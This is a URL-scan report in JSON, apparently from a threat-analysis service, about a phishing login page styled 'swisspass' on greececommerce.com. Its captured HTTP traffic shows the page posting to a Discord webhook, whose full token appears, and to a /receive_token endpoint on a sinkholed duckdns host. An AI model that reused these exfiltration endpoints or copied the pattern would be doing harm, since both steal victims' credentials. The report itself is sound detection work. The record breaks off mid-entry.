{"report_id":"8c374afa-7b30-424a-95d6-75611a7daf3e","version":0,"status":"done","tags":["dyndns"],"date":"2026-08-23T15:18:11Z","url":{"schema":"http","addr":"greececommerce.com/wp-acess/login.php","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":0,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"final":{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/login.php","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"title":"swisspass","dom":{"size":2406,"mime_type":"text/html; charset=utf-8","magic":"JavaScript source, Unicode text, UTF-8 text, with very long lines (1052)","md5":"1cc97109804157851d85c435933328b9","sha1":"f5e0b94f9ea8adb30d60fed665fdd6e9165d1ec5","sha256":"ec63eb13c99a6d9fd08bf20c7ac009cfd80939dc3f1454b0361ff92795bcfc27","sha512":"9cfc7797183c0699b0cf4c178fd7b748b36b0bc88dc3550db138e43876367deab9e9528a4282e49465b800237dc2ff5c502d2dc3dce40f6dba9c3e87047e0b7e","ssdeep":"","tlshash":"e14186111cf2856b45516c9998e68d1cafc8e923c74aca04b3dc8dd94fbaecbccc3559","dom_hash":"domhashc2533cac1c680c5ecb39a318cca66099","first_seen":"2026-08-23T15:18:12.693612Z","last_seen":"2026-08-23T15:18:12.693612Z","times_seen":1,"resource_available":false,"data":null}},"submit":{"url":{"schema":"http","addr":"greececommerce.com/wp-acess/login.php","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":0,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"tags":null,"meta":null},"settings":{"access":"public","device_type":"desktop","expires_at":"2027-09-27T15:18:11Z","useragent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0","referer":"","cookies":null,"exit_node":"qguvgzjxzsgb3vs"},"stats":{"alert_count":{"ids":0,"urlquery":2,"analyzer":4}},"detection":{"ids":null,"analyzer":[{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"telegrambotcheck.duckdns.org","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"telegrambotcheck.duckdns.org","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"opendns","sensor_type":"DNS","title":"OpenDNS","description":"OpenDNS","scan_date":"2026-08-23","alert":"Phishing Block","trigger":"telegrambotcheck.duckdns.org","verdict":"phishing","severity":"medium","comment":"","link":"https://www.opendns.com/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":[{"sensor_name":"urlquery","alert":"Suspicious - DynDNS domain","verdict":"suspicious","severity":"low","comment":"","tags":["dyndns"],"meta":null},{"sensor_name":"urlquery","alert":"Suspicious - DynDNS domain","verdict":"suspicious","severity":"low","comment":"","tags":["dyndns"],"meta":null}]},"summary":[{"fqdn":"greececommerce.com","ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"domain_registered":"2026-08-14","domain_rank":0,"first_seen":"2026-08-22T09:15:44.14033Z","last_seen":"2026-08-22T09:15:44.14033Z","alert_count":10,"request_count":10,"received_data":478236,"sent_data":6364,"comment":"","tags":null,"fingerprints":[{"name":"PHP","description":"PHP is a general-purpose scripting language used for web development.","website":"https://php.net","common_platform_enumeration":"cpe:2.3:a:php:php:*:*:*:*:*:*:*:*","icon":"PHP.svg","categories":["Programming languages"]},{"name":"jQuery","description":"jQuery is a JavaScript library which is a free, open-source software designed to simplify HTML DOM tree traversal and manipulation, as well as event handling, CSS animation, and Ajax.","website":"https://jquery.com","common_platform_enumeration":"cpe:2.3:a:jquery:jquery:*:*:*:*:*:*:*:*","icon":"jQuery.svg","categories":["JavaScript libraries"]},{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}]},{"fqdn":"discord.com","ip":{"addr":"162.159.138.232","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"domain_registered":"2000-11-06","domain_rank":220,"first_seen":"2013-06-04T18:47:24Z","last_seen":"2026-08-23T03:06:14.24249Z","alert_count":0,"request_count":2,"received_data":4808,"sent_data":1263,"comment":"","tags":null,"fingerprints":[{"name":"Google Cloud","description":"Google Cloud is a suite of cloud computing services.","website":"https://cloud.google.com","common_platform_enumeration":"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*","icon":"Google Cloud.svg","categories":["IaaS"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]},{"name":"Google Cloud CDN","description":"Cloud CDN uses Google's global edge network to serve content closer to users.","website":"https://cloud.google.com/cdn","common_platform_enumeration":"","icon":"google-cloud-cdn.svg","categories":["CDN"]}]},{"fqdn":"telegrambotcheck.duckdns.org","ip":{"addr":"","port":0,"asn":0,"as":"","country":"","country_code":"zz"},"domain_registered":"2013-04-12","domain_rank":0,"first_seen":"2024-05-03T19:21:27Z","last_seen":"2026-08-23T12:01:23.471697Z","alert_count":4,"request_count":1,"received_data":0,"sent_data":583,"comment":"","tags":null,"fingerprints":null}],"files":null,"artifacts":{"windows_shortcuts":null,"files":null,"telegram":null,"pdfs":null,"clipboard":null},"sensors":{"ids":null,"analyzer":null,"urlquery":[{"sensor_name":"urlquery","alert":"Suspicious - DynDNS domain","verdict":"suspicious","severity":"low","comment":"","tags":["dyndns"],"meta":null}]},"javascript":{"script":[{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/res/cdn/jq.js","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"introduction_type":"scriptElement","is_inline":false,"md5":"4423f9191a4d5dfba9771b085d723277","sha1":"a2c9877743f7dbc922bc2ac0bd369994499c4839","sha256":"9c1e0a6765034b0a425e748b953b2bab9979dbbf0d3d9968a9bea7bc21aafc03","sha512":"3763d3b36f8b6e09e66a0ca0f9ac5231c16c704ba73f8cec209ade086a6572dd5ae7be448249214b021c79125f30c7c35fb5f9eb5c02c80f3cfdb4f5ba49c140","ssdeep":"3072:ymE/2PAu/WVKOfvNA2CTEvs7+hgZrPRu5JZ6OcL/jEKTgrm7:fEOou/WVZ1N6E/gJ5u5z6OeYygS","tlshash":"ac142addb2c6706347a730b900bf640bf2362899684d8410f169d8e9bc75a4e927bf7d","size":193260,"data":"","first_seen":"2026-01-31T08:09:43.484893Z","last_seen":"2026-08-23T15:18:12.710452Z","times_seen":49,"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/res/jquery.js","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"introduction_type":"scriptElement","is_inline":false,"md5":"4efb51003d1b80aedc3f7421e8c02c8c","sha1":"bade22b0ea8c1d6369fb7b876639a90af4d5bad7","sha256":"fda18b8875b890a2ebdaa07c89b66c97b5731e8a1586bdefddea1943fb664783","sha512":"48c24eb48da8d15ad6c78bb29ed6d69117163c64cb9d6fc4082b82d6f383a4e12be9f28dbff1da0c950000fcb8e8a20d323cddced7d27adb63674105e145a73a","ssdeep":"","tlshash":"0e71cbba3078bd2f06e24f03b6084d45fbe6ae923e416f03551cf47065d8688cca5e7a","size":3716,"data":"","first_seen":"2026-08-22T06:10:46.305821Z","last_seen":"2026-08-23T15:18:12.711898Z","times_seen":8,"alerts":{"ids":null,"analyzer":null,"urlquery":null}}],"eval":null,"write":null,"console":null},"http":[{"url":{"schema":"https","addr":"discord.com/api/webhooks/1520181483996844273/kZIGhRTjsDUxqcuDjm0vnposh_pUBVXWY5Wqzmky4S-x10G9_VOMNOlmKQ5sJy9lKhq4","fqdn":"discord.com","domain":"discord.com","tld":"com"},"ip":{"addr":"162.159.138.232","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:39.238Z","timestamp":1787498259238,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"discord.com","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Tue, 30 Jun 2026 20:41:23 GMT","end":"Mon, 28 Sep 2026 21:41:17 GMT"},"fingerprint":{"sha1":"10:6B:C5:E3:42:95:F8:9A:18:49:58:E7:AD:E7:A1:BC:72:C7:48:C5","sha256":"D1:F4:2C:18:95:0F:BC:3C:69:C8:1B:0A:83:3D:6C:36:25:15:7F:25:CC:30:37:16:FD:6D:26:32:6C:42:22:77"}}},"request":{"raw":"OPTIONS /api/webhooks/1520181483996844273/kZIGhRTjsDUxqcuDjm0vnposh_pUBVXWY5Wqzmky4S-x10G9_VOMNOlmKQ5sJy9lKhq4 HTTP/1.1\r\nHost: discord.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nAccess-Control-Request-Method: POST\r\nAccess-Control-Request-Headers: content-type\r\nReferer: https://greececommerce.com/\r\nOrigin: https://greececommerce.com\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"OPTIONS"},"response":{"raw":"HTTP/3 200 \r\ndate: Sun, 23 Aug 2026 15:17:39 GMT\r\ncontent-type: text/html; charset=utf-8\r\nserver: cloudflare\r\nallow: DELETE, HEAD, GET, PATCH, OPTIONS, POST\r\naccess-control-allow-origin: https://greececommerce.com\r\naccess-control-allow-credentials: true\r\naccess-control-allow-methods: POST, GET, PUT, PATCH, DELETE\r\naccess-control-allow-headers: Content-Type, Authorization, X-Audit-Log-Reason, X-Track, X-Super-Properties, X-Context-Properties, X-Failed-Requests, X-Fingerprint, X-RPC-Proxy, X-Discord-Locale, X-Discord-Original-MD5, X-Discord-Timezone, X-Debug-Options, x-client-trace-id, If-None-Match, X-Captcha-Key, X-Captcha-Rqtoken, X-Captcha-Session-Id, X-Discord-Resource-Optimization-Level, x-science-test, X-Discord-MFA-Authorization, Range, X-RateLimit-Precision, X-Discord-Features, X-Installation-Id\r\nstrict-transport-security: max-age=31536000; includeSubDomains; preload\r\nx-discord-features: webhooks\r\nvia: 1.1 google\r\nalt-svc: h3=\":443\"; ma=86400\r\ncf-cache-status: DYNAMIC\r\nset-cookie: __dcfduid=c757d1cc9f0511f1a3de073cff29dce5; Expires=Fri, 22-Aug-2031 15:17:39 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax\n__sdcfduid=c757d1cc9f0511f1a3de073cff29dce5d29fd4bf2182162b80286559898518f4c5ba2047cdb4a1e5f7247e13bfa1c2f0; Expires=Fri, 22-Aug-2031 15:17:39 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax\n_cfuvid=yurK5QRfERO8KD4Wc.RJqJmo3gbltGKOA2Cxcngi_Zc-1787498259.2478821-1.0.1.1-1QEwJ9h8tnE1.Ko.TTYBuuuecDtXVbnMYslZTEJVVWM; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com\r\npriority: u=4,i=?0\r\nx-content-type-options: nosniff\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=p%2FFB19Ine3PoQleBSN9G1w3%2B%2B0PgMQGowRdOCftJKhJdtsrnM5QT1rUwqZROleS2QfpPDVuhY7ep%2FdanXFlev6mZIUDTuQtvobcBDwrG5SJ9AyyACrhQNyJ5mwlv\"}]}\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\nreporting-endpoints: csp-sentry=\"https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870\u0026sentry_environment=stable\"\r\ncontent-security-policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870\u0026sentry_environment=stable\r\ncf-ray: a2fb15d8488b56b9-OSL\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":[{"name":"__dcfduid","value":"c757d1cc9f0511f1a3de073cff29dce5","quoted":false,"path":"/","expires":"2031-08-22T15:17:39Z","raw_expires":"Fri, 22-Aug-2031 15:17:39 GMT","max_age":157680000,"secure":true,"http_only":true,"same_site":"Lax","partitioned":false,"raw":"__dcfduid=c757d1cc9f0511f1a3de073cff29dce5; Expires=Fri, 22-Aug-2031 15:17:39 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax"},{"name":"__sdcfduid","value":"c757d1cc9f0511f1a3de073cff29dce5d29fd4bf2182162b80286559898518f4c5ba2047cdb4a1e5f7247e13bfa1c2f0","quoted":false,"path":"/","expires":"2031-08-22T15:17:39Z","raw_expires":"Fri, 22-Aug-2031 15:17:39 GMT","max_age":157680000,"secure":true,"http_only":true,"same_site":"Lax","partitioned":false,"raw":"__sdcfduid=c757d1cc9f0511f1a3de073cff29dce5d29fd4bf2182162b80286559898518f4c5ba2047cdb4a1e5f7247e13bfa1c2f0; Expires=Fri, 22-Aug-2031 15:17:39 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax"},{"name":"_cfuvid","value":"yurK5QRfERO8KD4Wc.RJqJmo3gbltGKOA2Cxcngi_Zc-1787498259.2478821-1.0.1.1-1QEwJ9h8tnE1.Ko.TTYBuuuecDtXVbnMYslZTEJVVWM","quoted":false,"path":"/","domain":"discord.com","secure":true,"http_only":true,"same_site":"None","partitioned":false,"raw":"_cfuvid=yurK5QRfERO8KD4Wc.RJqJmo3gbltGKOA2Cxcngi_Zc-1787498259.2478821-1.0.1.1-1QEwJ9h8tnE1.Ko.TTYBuuuecDtXVbnMYslZTEJVVWM; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com"}],"status_code":"200","status_text":"OK","fingerprints":[{"name":"Google Cloud","description":"Google Cloud is a suite of cloud computing services.","website":"https://cloud.google.com","common_platform_enumeration":"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*","icon":"Google Cloud.svg","categories":["IaaS"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]},{"name":"Google Cloud CDN","description":"Cloud CDN uses Google's global edge network to serve content closer to users.","website":"https://cloud.google.com/cdn","common_platform_enumeration":"","icon":"google-cloud-cdn.svg","categories":["CDN"]}],"data":{"size":0,"size_decoded":2371,"mime_type":"text/html; charset=utf-8","magic":"","md5":"d41d8cd98f00b204e9800998ecf8427e","sha1":"da39a3ee5e6b4b0d3255bfef95601890afd80709","sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sha512":"cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e","ssdeep":"","tlshash":"","first_seen":"0001-01-01T00:00:00Z","last_seen":"2026-08-24T02:40:26.484887Z","times_seen":18066050,"resource_available":true,"data":null}},"time_used":162,"timings":{"blocked":0,"dns":2,"connect":11,"send":0,"wait":149,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"telegrambotcheck.duckdns.org:5001/receive_token?referrer=loco","fqdn":"telegrambotcheck.duckdns.org","domain":"telegrambotcheck.duckdns.org","tld":"duckdns.org"},"ip":{"addr":"","port":0,"asn":0,"as":"","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:44.968Z","timestamp":1787498264968,"http_version":"","security_state":"broken","security_info":null,"request":{"raw":"POST /receive_token?referrer=loco HTTP/1.1\r\nHost: telegrambotcheck.duckdns.org:5001\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://greececommerce.com/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 299\r\nOrigin: https://greececommerce.com\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"","headers":null,"cookies":null,"status_code":"","status_text":"","fingerprints":null,"data":{"size":0,"size_decoded":0,"mime_type":"","magic":"","md5":"d41d8cd98f00b204e9800998ecf8427e","sha1":"da39a3ee5e6b4b0d3255bfef95601890afd80709","sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sha512":"cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e","ssdeep":"","tlshash":"","first_seen":"0001-01-01T00:00:00Z","last_seen":"2026-08-24T02:40:26.484887Z","times_seen":18066050,"resource_available":true,"data":null}},"time_used":0,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":0,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"telegrambotcheck.duckdns.org","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"telegrambotcheck.duckdns.org","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"opendns","sensor_type":"DNS","title":"OpenDNS","description":"OpenDNS","scan_date":"2026-08-23","alert":"Phishing Block","trigger":"telegrambotcheck.duckdns.org","verdict":"phishing","severity":"medium","comment":"","link":"https://www.opendns.com/","meta":null}],"urlquery":[{"sensor_name":"urlquery","alert":"Suspicious - DynDNS domain","verdict":"suspicious","severity":"low","comment":"","tags":["dyndns"],"meta":null}]}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/login.php","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":true,"resource_type":"document","requested_by":"","date":"2026-08-23T15:17:34.749Z","timestamp":1787498254749,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /wp-acess/login.php HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nUpgrade-Insecure-Requests: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nPriority: u=0, i\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: text/html; charset=UTF-8\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 999\r\nserver: Apache\r\ndate: Sun, 23 Aug 2026 15:17:38 GMT\r\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nvary: Cookie\r\npragma: no-cache\r\nset-cookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; path=/\ntoken=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0; path=/; SameSite=Lax\r\ncache-control: no-store, no-cache, must-revalidate\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":[{"name":"PHPSESSID","value":"4bff90604be0888cbc4fa825eb75850c","quoted":false,"path":"/","secure":false,"http_only":false,"same_site":"","partitioned":false,"raw":"PHPSESSID=4bff90604be0888cbc4fa825eb75850c; path=/"},{"name":"token","value":"dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0","quoted":false,"path":"/","secure":false,"http_only":false,"same_site":"Lax","partitioned":false,"raw":"token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0; path=/; SameSite=Lax"}],"status_code":"200","status_text":"OK","fingerprints":[{"name":"PHP","description":"PHP is a general-purpose scripting language used for web development.","website":"https://php.net","common_platform_enumeration":"cpe:2.3:a:php:php:*:*:*:*:*:*:*:*","icon":"PHP.svg","categories":["Programming languages"]},{"name":"jQuery","description":"jQuery is a JavaScript library which is a free, open-source software designed to simplify HTML DOM tree traversal and manipulation, as well as event handling, CSS animation, and Ajax.","website":"https://jquery.com","common_platform_enumeration":"cpe:2.3:a:jquery:jquery:*:*:*:*:*:*:*:*","icon":"jQuery.svg","categories":["JavaScript libraries"]},{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":2480,"size_decoded":1860,"mime_type":"text/html; charset=UTF-8","magic":"JavaScript source, Unicode text, UTF-8 text, with very long lines (1045), with CRLF line terminators","md5":"02db7931c9f712e8f329c4f8a8be359b","sha1":"56d5d87be8620a038908aa1b5a8c7bc47e240ee4","sha256":"3e1017484fc87d31d3ba0db7c81abe2dedefbcbee9e8b3b2de00d9d78df4657f","sha512":"1713925f4255718b324be6c16211e3d0929346faa73630e9e01d6d9c263c4072aa649b45a1ce0e545008bcea8d61a04a10a6bda592d4b043c8204279698b4790","ssdeep":"","tlshash":"355111511cc38c2b457268a98ca68e9cffc892538746ca04b2dc6b972fbad4bcdc3555","first_seen":"2026-08-23T15:18:12.705912Z","last_seen":"2026-08-23T15:18:12.705912Z","times_seen":1,"resource_available":false,"data":null}},"time_used":3949,"timings":{"blocked":-1,"dns":70,"connect":32,"send":0,"wait":123,"receive":0,"ssl":3724},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/res/app.css","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"stylesheet","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:38.929Z","timestamp":1787498258929,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /wp-acess/res/app.css HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: text/css,*/*;q=0.1\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://greececommerce.com/wp-acess/login.php\r\nCookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0\r\nSec-Fetch-Dest: style\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPriority: u=2\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: text/css\r\ncontent-length: 2808\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 998\r\nserver: Apache\r\naccept-ranges: bytes\r\ndate: Sun, 23 Aug 2026 15:17:38 GMT\r\nvary: Cookie\r\netag: \"af8-658c9b369f380\"\r\nlast-modified: Tue, 11 Aug 2026 18:33:02 GMT\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"OK","fingerprints":[{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":2808,"size_decoded":3134,"mime_type":"text/css","magic":"ASCII text, with CRLF line terminators","md5":"89ff2e077fd49cd557898d6965e39251","sha1":"14b91ee7a9b51916e5265a9f0a94283d63d22995","sha256":"490fd600eebcdaaa64883aeb4c1be601d89a169abfae5a3f83fffbb598f29ecc","sha512":"4bc9f30f35817161fe0e64a638a4915325328ee0bd28618ab0e9cbac11ede0c231babb8aa51bbbc123a40bf14f1bf63b2fbc923bd822dca5c295073df7fa5a73","ssdeep":"","tlshash":"0c51d14aea05054ae233cd24aff64355fad424178a4f96563deca160cff923c8611fcc","first_seen":"2025-06-23T12:15:46.602993Z","last_seen":"2026-08-23T15:18:12.708954Z","times_seen":83,"resource_available":false,"data":null}},"time_used":36,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":36,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 